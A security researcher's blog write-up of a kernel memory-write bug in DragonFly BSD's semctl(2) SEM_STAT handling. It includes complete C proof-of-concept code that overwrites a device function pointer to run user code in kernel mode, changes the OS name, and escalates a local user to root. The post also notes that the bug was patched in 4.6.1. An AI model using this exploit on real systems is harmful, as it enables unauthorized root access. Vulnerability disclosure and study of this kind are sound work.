Make Dragonfly BSD great again!

Recently I spent some time reading Dragonfly BSD code. While doing so I spotted a vulnerability in the sysvsem subsystem that let user to point to any piece of memory and write data through it (including the kernel space). This can be turned into execution of arbitrary code in the kernel context and by exploiting this, we're gonna make Dragonfly BSD great again!

If you accidentally know Polish, I gave a talk about this particular bug and it's exploitation at SecurityBSides Warsaw 2016 [1]

Dragonfly BSD, geez, what the hell is that?

Dragonfly BSD is a BSD system which originally comes from the FreeBSD project. In 2003 Matthew Dillon forked code from the 4.x branch of the FreeBSD and started a new flavour. Some people thought, at that time, that it's just a hoax [2], but it wasn't. I thought of Dragonfly BSD as just another fork, but during EuroBSDCon 2015 I accidentally saw the talk about graphical stack in the Dragonfly BSD. I confused rooms, but it was too late to escape as I was sitting in the middle of a row, and the exit seemed light years away from me. :-) Anyway, this talk was a sign to me that it's not just a niche of a niche of a niche of a niche operating system. I recommend spending a few minutes of your precious time to check out the HAMMER file system, Dragonfly's approach to MP, process snapshots and other cool features that it offers. Wikipedia article is a good starter [3]

The Bug

The Bug itself is located in the semctl(2) system call implementation, which looks as follows:

342 sys___semctl(struct __semctl_args *uap) 343 { 345 int semid = uap->semid; (...) 347 int cmd = uap->cmd; 348 union semun *arg = uap->arg; (...) 354 struct semid_pool *semakptr; (...) 364 switch (cmd) { 365 case SEM_STAT: 366 /* 367 * For this command we assume semid is an array index 368 * rather than an IPC id. 369 */ 370 if (semid < 0 || semid >= seminfo.semmni) { 371 eval = EINVAL; 372 break; 373 } 374 semakptr = &sema[semid]; (...) 385 bcopy(&semakptr->ds, arg->buf, sizeof(struct semid_ds)); Source: http://gitweb.dragonflybsd.org/dragonfly.git/blob/29df251617f7af22419b27dd2315b59fb145c8ea?f=sys/kern/sysv_sem.c

bcopy(3) in line 385 copies semid_ds structure to memory pointed by arg->buf, this pointer is fully controlled by the user, as it's one of the syscall's arguments. So the bad thing here is that we can copy things to arbitrary address, but we have not idea what we copy yet. This code was introduced by wrongly merging code from the FreeBSD project, *bah*, bug happens. Happily thanks to Linus's Law things like that can be spotted easily, sometimes it just takes a few years to do so.

For now, let's try to trigger the bug, just to be sure that we know what we're doing and our prophecies are correct. We're going to stick with amd64 architecture (the only one currently supported by the Dragonfly BSD).

#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/syscall.h> #include <unistd.h> #include <string.h> int main() { int key; union semun x; x.buf = (void *)0xdeaddead; key = semget(0, 1, IPC_CREAT | SEM_A | SEM_R); syscall(SYS___semctl, 0, 0, SEM_STAT, &x); return 0; }

We're gonna copy data to 0xdeaddead which is likely unmapped, so kernel should panic. Here we are using syscall(3) in order to bypass libc's wrapper for sysctl which brings additional complexity by wrapping things (it provides his own buffer which points to the correct memory, so there's no way to crash the kernel).

Great, we can crash it. Let's see if we can control any piece of copied data.

The things that we control

$ cat control.c #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/syscall.h> #include <unistd.h> #include <string.h> int main() { int key; char buf[10000]; union semun x; int i; memset(buf, 0, sizeof(buf)); x.buf = (void *)&buf; key = semget(666, 1, IPC_CREAT | SEM_A | SEM_R); syscall(SYS___semctl, 0, 0, SEM_STAT, &x); __asm__("int $0x3"); return 0; } $ cc -O0 -ggdb -o control control.c $ gdb ./control GNU gdb (GDB) 7.6.1 Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-dragonfly". For bug reporting instructions, please see: <http://bugs.dragonflybsd.org/>... Reading symbols from /home/shm/control...done. (gdb) r Starting program: /home/shm/./control Program received signal SIGTRAP, Trace/breakpoint trap. main () at control.c:21 21 return 0; (gdb) print *(x.buf) $3 = {sem_perm = {cuid = 1001, cgid = 1001, uid = 1001, gid = 1001, mode = 896, seq = 1, key = 666}, sem_base = 0xffffffe0019a59c0, sem_nsems = 1, sem_otime = 0, sem_pad1 = 0, sem_ctime = 1490185624, sem_pad2 = 0, sem_pad3 = {0, 0, 0, 0}} (gdb) x/a buf 0x7fffffffd200: 0x3e903e903e903e9 (gdb) 0x7fffffffd208: 0x10380 (gdb) 0x7fffffffd210: 0x29a (gdb) 0x7fffffffd218: 0xffffffe0019a59c0 (gdb) 0x7fffffffd220: 0x1 (gdb) 0x7fffffffd228: 0x0

As we see, we can easily control at least 4 bytes (the key value). Luckily it's surrounded by 0x00000000, so the idea is that we can pass somewhere a pointer in following form: 0x00000000AABBCCDD, where AABBCCDD is controlled by us. You may ask why? Well, we can overwrite some function pointer and force CPU to jump into pages that are controlled by the user.

Dragonfly BSD lacks of SMEP and SMAP implementation, which means that we can execute code placed in the user's pages directly from the kernel space, sweet. Now, we're going to make a dumb decision: let's overwrite open function pointer under the /dev/kpmap device dev_ops struct, which is defined here:

[...] 79 #define CDEV_MAJOR 2 80 static struct dev_ops mem_ops = { 81 { "mem", 0, D_MPSAFE }, 82 .d_open = mmopen, 83 .d_close = mmclose, 84 .d_read = mmread, 85 .d_write = mmwrite, 86 .d_ioctl = mmioctl, 87 .d_kqfilter = mmkqfilter, [...] 91 .d_uksmap = memuksmap 92 }; [...] Source: http://bxr.su/DragonFly/sys/kern/kern_memio.c#79

Well, that was one of my first ideas which worked well enough. Of course it's not so clever, as we may get preempted and other process may crash the whole Universe by opening mentioned device. No risk, no fun. Easier and more elegant way would be to overwrite syscall table - but that's so easy and yesterday. Let's try to reach user page execution in the privileged mode.

#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/syscall.h> #include <sys/device.h> #include <sys/ucred.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #define MEM_OPS_ADDR (0xffffffff80ea1b40) int shellcode(struct dev_open_args *ap) { for(;;); } int main() { int key; char buf[10000]; union semun x; x.buf = MEM_OPS_ADDR+0x18; key = semget(shellcode, 1, IPC_CREAT | SEM_A | SEM_R); syscall(SYS___semctl, 0, 0, SEM_STAT, &x); open("/dev/kpmap", O_RDONLY); return 0; }

0x18 offset combined with MEM_OPS_ADDR is used to shift our data to overwrite open(2) function pointer with chosen value. We overwrite pointer in semctl(2) call and then open the /dev/kpmap device to jump into our code.

Our system seems to be frozen - that's a good sign, we are stuck in the for-loop.

Making Dragonfly BSD great again!

Since we can execute arbitrary code in the kernel mode, we're one step away from making Dragonfly BSD great again. We want to change the OS name, which is stored under ostype variable, exposed via sysctl(8).

$ nm /boot/kernel/kernel | grep ostype ffffffff80f94b48 D ostype

We should also remember to fix the overwritten mem_ops structure before a potential catastrophe caused by another process.

#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/syscall.h> #include <sys/device.h> #include <sys/ucred.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <stdio.h> #define MEM_OPS_ADDR (0xffffffff80ea1b40) #define OSTYPE_ADDR (0xffffffff80f94b48) int shellcode(struct dev_open_args *ap) { struct dev_ops *mem_ops = MEM_OPS_ADDR; char *ostype = OSTYPE_ADDR; char *greatostype = "FreeBSD"; mem_ops->d_open = 0xffffffff8060ba36; mem_ops->d_close = 0xffffffff8060ba16; mem_ops->d_read = 0xffffffff8060ba00; mem_ops->d_write = 0xffffffff8060b9ea; mem_ops->d_ioctl = 0xffffffff8060bb3b; mem_ops->d_kqfilter = 0xffffffff8060b3be; mem_ops->d_uksmap = 0xffffffff8060b426; /* ~strcpy(3) */ while (*greatostype) *ostype++ = *greatostype++; *ostype = '\0'; } int main() { int key; char buf[10000]; union semun x; x.buf = MEM_OPS_ADDR+0x18; key = semget(shellcode, 1, IPC_CREAT | SEM_A | SEM_R); syscall(SYS___semctl, 0, 0, SEM_STAT, &x); open("/dev/kpmap", O_RDONLY); return 0; }

OK, now we can finish him!

$ ./shellcode3 $ uname -s FreeBSD

*success.wav*, we've just made Dragonfly BSD great again!

Dear ring0, I want to be the root

Previous paragraph could be the last, but I bet you think that the joke with changing OS name is not funny at all. Fortunately we can execute arbitrary code in kernel mode, therefore getting root privileges shouldn't be hard. mmopen function takes dev_open_args which has a pointer to cred structure, holding credentials of the calling process. We can simply use that reference to change uid, gid and friends to 0.

#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/syscall.h> #include <sys/device.h> #include <sys/ucred.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #define MEM_OPS_ADDR (0xffffffff80ea1b40) int shellcode(struct dev_open_args *ap) { struct dev_ops *mem_ops = MEM_OPS_ADDR; ap->a_cred->cr_uid = 0; ap->a_cred->cr_ruid = 0; ap->a_cred->cr_svuid = 0; ap->a_cred->cr_rgid = 0; ap->a_cred->cr_svgid = 0; mem_ops->d_open = 0xffffffff8060ba36; mem_ops->d_close = 0xffffffff8060ba16; mem_ops->d_read = 0xffffffff8060ba00; mem_ops->d_write = 0xffffffff8060b9ea; mem_ops->d_ioctl = 0xffffffff8060bb3b; mem_ops->d_kqfilter = 0xffffffff8060b3be; mem_ops->d_uksmap = 0xffffffff8060b426; return 1; } int main() { int key; char buf[10000]; union semun x; x.buf = MEM_OPS_ADDR+0x18; key = semget(shellcode, 1, IPC_CREAT | SEM_A | SEM_R); syscall(SYS___semctl, 0, 0, SEM_STAT, &x); open("/dev/kpmap", O_RDONLY); execl("/bin/sh", "sh", NULL); return 0; }

$ id uid=1001(shm) gid=1001(shm) groups=1001(shm) $ cc -o final final.c $ ./final # id uid=0(root) gid=0(wheel) egid=1001(shm) groups=1001(shm) # uname -a DragonFly 4.6-RELEASE DragonFly v4.6.0-RELEASE #0: Mon Aug 1 12:46:25 EDT 2016 root@www.shiningsilence.com:/usr/obj/build/sys/X86_64_GENERIC x86_64

Epilogue

Let's try if it works:

The bug was fixed in uber fast manner (within few hours!) by Matthew Dillon, version 4.6.1 released shortly after that seems to be safe. In case you care, you know what to do!

If you liked this article and want to be notified about other trash from me, the easiest way to do it is to follow me on twitter: @akat1_pl, thanks.

References

Credits

Thanks go to s1m0n and n1x0n for helping me to make it happen!